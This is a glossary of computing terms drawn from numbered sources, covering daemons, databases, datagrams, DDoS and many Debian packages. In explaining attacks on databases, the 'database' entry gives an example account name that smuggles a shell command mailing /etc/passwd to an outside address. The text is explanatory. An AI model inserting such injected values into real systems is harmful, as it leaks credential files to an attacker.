daemon

/day'mn/ or /dee'mn/ n. [from the mythological meaning, later rationalized as the acronym 'Disk And Execution MONitor'] A program that is not invoked explicitly, but lies dormant waiting for some condition(s) to occur. The idea is that the perpetrator of the condition need not be aware that a daemon is lurking (though often a program will commit an action only because it knows that it will implicitly invoke a daemon). For example, under ITS writing a file on the LPT spooler's directory would invoke the spooling daemon, which would then print the file. The advantage is that programs wanting (in this example) files printed need neither compete for access to nor understand any idiosyncrasies of the LPT. They simply enter their implicit requests and let the daemon decide what to do with them. Daemons are usually spawned automatically by the system, and may either live forever or be regenerated at intervals. Daemon and demon are often used interchangeably, but seem to have distinct connotations. The term 'daemon' was introduced to computing by CTSS people (who pronounced it /dee'mon/) and used it to refer to what ITS called a dragon; the prototype was a program called DAEMON that automatically made tape backups of the file system. Although the meaning and the pronunciation have drifted, we think this glossary reflects current (2000) usage. [7]

Daemon

A background process of the operating system that usually has root security level permission. A daemon usually lurks in the background until something triggers it into activity, such as a specific time or date, time interval, receipt of e-mail, etc. [8]

daemon

A process lurking in the background, usually unnoticed, until something triggers it into action. For example, the \cmd{update} daemon wakes up every thirty seconds or so to flush the buffer cache, and the \cmd{sendmail} daemon awakes whenever someone sends mail.

daemon

A program that runs continuously in the background, until activated by a particular event. A daemon can constantly query for requests or await direct action from a user or other process. [94]

daemon

a program which runs for an extended period (usually "forever") to handle requests for service as needed. [32]

Daemon

A program, usually on a computer running UNIX, that serves some obscure function (such as routing electronic mail to its recipients) and usually has a very limited user interface. There's some debate about the origins of the word, but most say it derives from the devilish spirits of Greek mythology. [39]

DAEMON

Disk And Execution MONitor (Unix) [95]

database

A collection of persistently accessed data that is typically stored for fast and/or arbitrary access. Data stored within a database can be queried, viewed, and manipulated by user applications or Web services such as forms and applets. [94]

Database

A computer holding large amounts of information that can be searched by an Internet user. A storehouse of information on the Net. [44]

database

An indexed collection of information which can be accessed, modified and queried using a query language such as SQL. Popular databases applications for Linux include the commercial Oracle product and Informix-SE. [32]

database

The database is one of the underpinning applications of the Internet. The concept of database "records" predates that of "files" within a computer. These days, most discussion of databases revolves around SQL (structured query language). An SQL statement is a special language that you may use to encode a statement such as show me everyone who has a first name of "Robert". The actual SQL statement would look like: "SELECT * from Everyone where firstname equals 'Robert'". Key point: The near-programming quality of SQL means that it is open to much the same security holes that plague other scripting languages. For example, a frequent attacks against databases is to insert shell metacharacters into data fields. For example, consider a reporting system using PERL that extracts data out of a database. I may create a bank acount where name is "| mail smc@robertgraham.com < /etc/passwd", which will send me the password field when you run your month-end reports. In late 1999 and early year 2000, thousands of Microsoft's web servers were broken into because programs submitted command-line statements through SQL query statements through a default script left open on default installations of their servers. [96]

datagram

A packet which includes both the source and destination addresses provided by the user, and not the network. Datagrams can also include data. [32]

datagram

In protocols, a datagram is a single transmission that stands by itself. They are often known as unreliable datagrams because there is not guarantee that they will reach their destination. It is up to some higher protocol or application to verify that a datagram reaches its destination. Streaming media (audio/video/voice) often use datagrams because it doesn't really matter if a few are lost in transmission. [96]

It is intended for peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". dcgui is still alpha, so some care has to be taken - try it out!

dd

/dee-dee/ vt. [Unix: from IBM JCL] Equivalent to cat or BLT. Originally the name of a Unix copy command with special options suitable for block-oriented devices; it was often used in heavy-handed system maintenance, as in "Let's dd the root partition onto a tape, then use the boot PROM to load it back on to a new disk". The Unix dd(1) was designed with a weird, distinctly non-Unixy keyword option syntax reminiscent of IBM System/360 JCL (which had an elaborate DD 'Dataset Definition' specification for I/O devices); though the command filled a need, the interface design was clearly a prank. The jargon usage is now very rare outside Unix sites and now nearly obsolete even there, as dd(1) has been deprecated for a long time (though it has no exact replacement). The term has been displaced by BLT or simple English 'copy'. [7]

DDoS (Distributed Denial of Service)

A DDoS attack is one that pits many machines against a single victim. An example is the attacks of February 2000 against some of the biggest websites. Even though these websites have a theoretical bandwidth of a gigabit/second, distributing many agents throughout the Internet flooding them with traffic can bring them down. Key point: The Internet is defenseless against these attacks. The best defense is for ISPs to do "egress filtering": prevent packets from going outbound that do not originate from IP addresses assigned to the ISP. This cuts down on the problem of spoofed IP addresses. History: The original DDoS tools were clonebots used during IRC wars. See also: zombie. [96]

dead

adj. 1. Non-functional; down; crashed. Especially used of hardware. 2. At XEROX PARC, software that is working but not undergoing continued development and support. 3. Useless; inaccessible. Antonym: 'live'. Compare dead code. [7]

deadlock

n. 1. [techspeak] A situation wherein two or more processes are unable to proceed because each is waiting for one of the others to do something. A common example is a program communicating to a server, which may find itself waiting for output from the server before sending anything more to it, while the server is similarly waiting for more input from the controlling program before outputting anything. (It is reported that this particular flavor of deadlock is sometimes called a 'starvation deadlock', though the term 'starvation' is more properly used for situations where a program can never run simply because it never gets high enough priority. Another common flavor is 'constipation', in which each process is trying to send stuff to the other but all buffers are full because nobody is reading anything.) See deadly embrace. 2. Also used of deadlock-like interactions between humans, as when two people meet in a narrow corridor, and each tries to be polite by moving aside to let the other pass, but they end up swaying from side to side without making any progress because they always move the same way at the same time. [7]

deallocvt

deallocate unused virtual terminals [34]

debarchiver

Tool to handle debian package archives. This tool can create a potato like file structure that dselect, apt-get and similar tools can use for easier installation. You just have to place the package files into a incoming directory and the tool does the sorting (if you place the generated '.changes' file there too). OBSERVE! This package will create a cronjob that does the actual sorting. [3]

debaux

Debian Auxiliary Programs This package contains Perl programs and modules to build and publish Debian packages. debaux-build automatically downloads APT sources before building, applies patches and additional sources. It has options to build the packages in an existing chroot environment, check the generated packages with lintian, install the created packages on your local system or turn them into RPM packages. debaux-build has experimental support for downloading Perl modules from CPAN and creating the necessary Debian packaging files. debaux-publish uploads packages and runs the scripts to create the APT sources and packages files on the remote system. debaux-publish doesn't support the pool structure yet. The DebAux::Debconf module provides an easy-to-use interface for the Debconf::Client::ConfModule::get function. [3]

debbugs

The bug tracking system based on the active Debian BTS Debian has a bug tracking system which files details of bugs reported by users and developers. Each bug is given a number, and is kept on file until it is marked as having been dealt with. The system is mainly controlled by e-mail, but the bug reports can be viewed using WWW. This version is fully functional, but it does not autoconfig, see /usr/share/doc/debbugs/README.Debian after installation. Note: there might be some appearance issues where the a display variable doesn't expand as expected. [3]

debbugs-el

Access the Debian BTS from within Emacs This package contains: * debian-bug.el, an Elisp function to submit a bug from within Emacs. * gnus-BTS.el, an enhancement to Gnus to provide buttons on bug numbers seen in Debian-related messages. [3]

debconf

Debian configuration management system Debconf is a configuration management system for debian packages. Packages use Debconf to ask questions when they are installed. [3]

debconf utilities This package contains some small utilities to aid users and developers. There are utilities to help manage debconf databases, others to manage translated template files and a program to communicate directly with debconf from the command line. [3]

debfoster

Install only wanted Debian packages debfoster is a wrapper program for apt and dpkg. When first run, it will ask you which of the installed packages you want to keep installed. After that, it maintains a list of packages that you want to have installed on your system. It uses this list to detect packages that have been installed only because other packages depended on them. If one of these dependencies changes, debfoster will take notice, and ask if you want to remove the old package. This helps you to maintain a clean Debian install, without old (mainly library) packages lying around that aren't used any more. [3]

debget

download/compile source and binary Debian packages debget downloads source and binary Debian packages by name. It doesn't require a local copy of the Packages files, instead it lists directories on the FTP site to find out what versions are available. debget can also optionally unpack and compile source packages, and even install the generated binary packages. If you intend to use these features you should install the devscripts package for the dscverify script it contains. [3]

debhelper

helper programs for debian/rules A collection of programs that can be used in a debian/rules file to automate common tasks related to building debian packages. Programs are included to install various files into your package, compress files, fix file permissions, integrate your package with the debian menu system, suidmanager, doc-base, etc. Most debian packages use debhelper as part of their build process. [3]

You can find the installed items under /usr/doc/debian-guide. [3]

Debian-Ham

Debian-Ham is a floppy distribution specifically for contesting and logging. It is based on uClibc, busybox, and tlf. The current scheme uses a LILO boot floppy with a minix root floppy. Network support is included to connect to a DX cluster. The initial Freshmeat announcment was for version 0.3, released July 21, 2002. Version 0.5 was released April 24, 2003. A floppy-based distribution. [33]

Debian-Jr.

This is an internal project to make Debian an OS that children of all ages will want to use. Our initial focus will be on producing something for children up to age 8. Once we have accomplished this, our next target age range is 7 to 12. By the time children reach their teens, they should be comfortable with using Debian without any special modifications. [33]

debian-keyring

GnuPG (and obsolete PGP) keys of Debian Developers The Debian project wants developers to digitally sign the announcements of their packages with GnuPG, to protect against forgeries. This package contains keyrings of GnuPG and (deprecated) PGP keys of developers. [3]

Debian-Med

Debian-Med is an internal Debian project to support tasks of people in medical care. The goal of Debian-Med is to build a a complete system for all tasks in medical care, using only free software. A 'special purpose/mini' distribution. [33]

debian-policy

Debian Policy Manual and related documents This package contains: - Debian Policy Manual - Linux Filesystem Hierarchy Standard (FHS) - Authoritative list of virtual package names - Paper about libc6 migration - Policy checklist for upgrading your packages It also replaces the old Packaging Manual; most of the still-relevant content is now included as appendices to the Policy Manual. [3]

debian-test

Scripts used to run tests against an installed Debian system This package contains tests and the framework to run them, and test provided by other packages to test themselves. The intent is that this should build into a test suite that provides a reasonable level of confidence that a Debian system is working correctly. [3]

debiandoc-sgml

DebianDoc SGML DTD and formatting tools This is an SGML-based documentation formatting package used for the Debian manuals. It reads markup files and produces DVI (via LaTeX), HTML, Info (via Texinfo), LaTeX, PostScript (via DVI), Texinfo, and plain text (with overstrikes a la troff as well as without) files. The LaTeX based output needs the libpaperg, tetex-bin and tetex-extra packages. The Texinfo based output needs the texinfo package. [3]

debmake

Debianizing Tool and automated binary generation Eases the development and maintenance of Debian Sourcepackages. - deb-make: Generate a debian style sourcepackage from a regular sourcecode archive. Customizes control files. Provides example setup for debstd that is usually usable with minimal editing. - "debstd" which has the following abilities: - Automates compression of documentation, localizes manpages compresses and installs them. - Supports multiple binaries generated from a single source package - Generates maintainer scripts for you and installs all scripts for you in the proper locations with the proper permissions. - Can perform modifications on a variety of important debian config files through generation of proper maintainer scripts. - Runs dpkg-shlibdeps on all ELF binaries for you and generates correct shlibs file for provided libraries automatically. - Checks symlinks to manpages /documentation and redirects them if a file was compressed. [3]

debootstrap

Bootstrap a basic Debian system debootstrap is used to create a Debian base system from scratch, without requiring the availability of dpkg or apt. It does this by downloading .deb files from a mirror site, and carefully unpacking them into a directory which can eventually be chrooted into. [3]

deborphan

Find orphaned libraries. deborphan finds "orphaned" packages on your system. It determines which packages have no other packages depending on their installation, and shows you a list of these packages. It is most useful when finding libraries, but it can be used on packages in all sections. [3]

debpartial

Debian Packages/Sources file partition tool debpartial is a program to separate Packages.gz and Sources.gz files by size of packages and sources. It can be used in the case of: * creating 1 DVD/CD Debian (source & binary) * creating Debian Daily Diff CD. * separating the debian archive into several harddisks. * mirroring packages only you want (using debmirror etc). [3]

debroster

A package for use at expos. Debroster starts up an eterm with the Debian logo as the background, with a randomly-ordered list of the current developers scrolling up the screen. Use it to show just how many people contribute to the Debian project - and so why we are so damn good :-) [3]
